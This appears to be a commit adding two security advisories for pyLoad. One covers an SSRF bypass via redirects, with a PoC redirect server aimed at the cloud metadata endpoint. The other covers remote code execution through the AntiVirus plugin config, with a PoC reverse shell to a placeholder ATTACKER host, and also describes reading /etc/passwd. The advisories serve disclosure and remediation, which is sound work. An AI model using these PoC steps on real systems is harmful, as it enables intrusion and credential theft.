Skip to content

Commit ab39cb2

Browse files
1 parent a28216d commit ab39cb2

2 files changed

Lines changed: 118 additions & 0 deletions

File tree

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-7gvf-3w72-p2pg",
4+
"modified": "2026-04-04T06:41:08Z",
5+
"published": "2026-04-04T06:41:08Z",
6+
"aliases": [
7+
"CVE-2026-35459"
8+
],
9+
"summary": "pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)",
10+
"details": "## Summary\n\nThe fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to `BaseDownloader.download()` that checks the hostname of the initial download URL. However, pycurl is configured with `FOLLOWLOCATION=1` and `MAXREDIRS=10`, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.\n\nAn authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.\n\n## Root Cause\n\nThe SSRF check at `src/pyload/plugins/base/downloader.py:335-341` validates only the initial URL:\n\n dl_hostname = urllib.parse.urlparse(dl_url).hostname\n if is_ip_address(dl_hostname) and not is_global_address(dl_hostname):\n self.fail(...)\n else:\n for ip in host_to_ip(dl_hostname):\n if not is_global_address(ip):\n self.fail(...)\n\nAfter the check passes, `_download()` is called. pycurl is configured at `src/pyload/core/network/http/http_request.py:114-115` to follow redirects:\n\n self.c.setopt(pycurl.FOLLOWLOCATION, 1)\n self.c.setopt(pycurl.MAXREDIRS, 10)\n\nNo `CURLOPT_REDIR_PROTOCOLS` restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.\n\n## PoC\n\nRedirect server (attacker-controlled):\n\n from http.server import HTTPServer, BaseHTTPRequestHandler\n\n class RedirectHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(302)\n self.send_header(\"Location\", \"http://169.254.169.254/metadata/v1.json\")\n self.end_headers()\n\n HTTPServer((\"0.0.0.0\", 8888), RedirectHandler).serve_forever()\n\nSubmit to pyload (requires ADD permission):\n\n curl -b cookies.txt -X POST 'http://target:8000/json/add_package' \\\n -d 'add_name=ssrf-test&add_dest=1&add_links=http://attacker.com:8888/redirect'\n\nThe SSRF check resolves `attacker.com` to a public IP and passes. pycurl follows the 302 redirect to `http://169.254.169.254/metadata/v1.json` without validation. Cloud metadata is downloaded and saved to the storage folder.\n\n## Impact\n\nAn authenticated user with ADD permission can access:\n\n- Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure — including IAM credentials and instance identity\n- Internal network services (10.x, 172.16.x, 192.168.x)\n- Localhost services (127.0.0.1)\n\nThis is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.\n\n## Suggested Fix\n\nDisable automatic redirect following and validate each redirect target:\n\n # In HTTPRequest.__init__():\n self.c.setopt(pycurl.FOLLOWLOCATION, 0)\n\nThen implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:\n\n self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)\n\nAnd add a pycurl callback to validate redirect destination IPs before following.\n\n## Resources\n\n- CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "pyload-ng"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "0.5.0b3.dev96"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-7gvf-3w72-p2pg"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33992"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/pyload/pyload"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-918"
55+
],
56+
"severity": "CRITICAL",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-04-04T06:41:08Z",
59+
"nvd_published_at": null
60+
}
61+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-w48f-wwwf-f5fr",
4+
"modified": "2026-04-04T06:41:59Z",
5+
"published": "2026-04-04T06:41:59Z",
6+
"aliases": [
7+
"CVE-2026-35463"
8+
],
9+
"summary": "pyLoad: Improper Neutralization of Special Elements used in an OS Command",
10+
"details": "### Summary\n\nThe `ADMIN_ONLY_OPTIONS` protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is **only applied to core config options**, not to plugin config options. The `AntiVirus` plugin stores an executable path (`avfile`) in its config, which is passed directly to `subprocess.Popen()`. A non-admin user with SETTINGS permission can change this path to achieve remote code execution.\n\n### Details\n\n**Safe wrapper — `ADMIN_ONLY_OPTIONS` (core/api/__init__.py:225-235):**\n\n```python\nADMIN_ONLY_OPTIONS = {\n \"reconnect.script\", # Blocks script path change\n \"webui.host\", # Blocks bind address change\n \"ssl.cert_file\", # Blocks cert path change\n \"ssl.key_file\", # Blocks key path change\n # ... other sensitive options\n}\n```\n\n**Where it IS enforced — core config (core/api/__init__.py:255):**\n\n```python\ndef set_config_value(self, section, option, value):\n if f\"{section}.{option}\" in ADMIN_ONLY_OPTIONS:\n if not self.user.is_admin:\n raise PermissionError(\"Admin only\")\n # ...\n```\n\n**Where it is NOT enforced — plugin config (core/api/__init__.py:271-272):**\n\n```python\n # Plugin config - NO admin check at all\n self.pyload.config.set_plugin(category, option, value)\n```\n\n**Dangerous sink — AntiVirus plugin (plugins/addons/AntiVirus.py:75):**\n\n```python\ndef scan_file(self, file):\n avfile = self.config.get(\"avfile\") # User-controlled via plugin config\n avargs = self.config.get(\"avargs\")\n subprocess.Popen([avfile, avargs, target]) # RCE\n```\n\n### PoC\n\n```bash\n# As non-admin user with SETTINGS permission:\n\n# 1. Set AntiVirus executable to a reverse shell\ncurl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \\\n -d 'section=plugin' \\\n -d 'option=AntiVirus.avfile' \\\n -d 'value=/bin/bash'\n\ncurl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \\\n -d 'section=plugin' \\\n -d 'option=AntiVirus.avargs' \\\n -d 'value=-c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\"'\n\n# 2. Enable the AntiVirus plugin\ncurl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \\\n -d 'section=plugin' \\\n -d 'option=AntiVirus.activated' \\\n -d 'value=True'\n\n# 3. Add a download - when it completes, AntiVirus.scan_file() runs the payload\ncurl -b session_cookie -X POST http://TARGET:8000/api/add_package \\\n -d 'name=test' \\\n -d 'links=http://example.com/test.zip'\n\n# Result: reverse shell as the pyload process user\n```\n\n### Additional Finding: Arbitrary File Read via storage_folder\n\nThe `storage_folder` validation at `core/api/__init__.py:238-246` uses inverted logic — it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting `storage_folder=/` combined with `GET /files/get/etc/passwd` gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions.\n\n### Impact\n\n- **Remote Code Execution** — Non-admin user can execute arbitrary commands via AntiVirus plugin config\n- **Privilege escalation** — SETTINGS permission (non-admin) escalates to full system access\n- **Arbitrary file read** — Via storage_folder manipulation\n\n### Remediation\n\nApply `ADMIN_ONLY_OPTIONS` to plugin config as well:\n\n```python\n# In set_config_value():\nADMIN_ONLY_PLUGIN_OPTIONS = {\n \"AntiVirus.avfile\",\n \"AntiVirus.avargs\",\n # ... any plugin option that controls executables or paths\n}\n\nif section == \"plugin\" and option in ADMIN_ONLY_PLUGIN_OPTIONS:\n if not self.user.is_admin:\n raise PermissionError(\"Admin only\")\n```\n\nOr better: validate that `avfile` points to a known AV binary before passing to `subprocess.Popen()`.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "pyload-ng"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "0.5.0b3.dev96"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-w48f-wwwf-f5fr"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/pyload/pyload"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-78"
51+
],
52+
"severity": "HIGH",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-04-04T06:41:59Z",
55+
"nvd_published_at": null
56+
}
57+
}

0 commit comments

Comments
 (0)